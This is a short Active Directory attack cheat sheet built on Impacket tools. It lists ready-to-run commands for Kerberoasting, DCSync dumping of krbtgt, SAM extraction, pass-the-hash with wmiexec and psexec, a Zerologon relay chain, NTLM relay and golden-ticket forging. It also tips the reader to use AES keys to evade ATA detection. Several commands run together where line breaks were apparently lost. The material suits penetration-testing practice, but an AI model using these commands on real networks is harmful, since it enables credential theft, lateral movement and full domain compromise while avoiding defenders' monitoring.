1.4 KiB
1.4 KiB
- Kerberoast
python3 GetUserSPNs.py -request -dc-ip [IP address for Domain Controller] cyberpunk.com/[USER]
- DCSync
.secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]secretsdump.py 'contoso.local/[email protected]' -just-dc-user krbtgt
- Dump local SAM file
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
- WMIExec
impacket-wmiexec [email protected]impacket-wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:a6a6591a1fef4938ce2ca6ea255838a9 [email protected]
- Zerologon using NTLM Relay:
impacket-ntlmrelayx -t DCSYNC://<DCvulnerabletoZL> -smb2support -auth-smb 'DOMAIN/USER:PASSWORD'python3 printerbug.py 'DOMAIN/USER:PASSWORD@<OtherDC>' <attackerIP
- PSExec
psexec.py contoso.local/[email protected] -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
- getTGT
getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21export KRB5CCNAME=$(pwd)/Anakin.ccachepsexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass- Must use hostname instead of IP; Kerberos requires it to determine the correct service
- NTLMRelayX
ntlmrelayx.py -t 192.168.100.10 -smb2support
- Ticketer
ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162- Use AES-256 hash to avoid ATA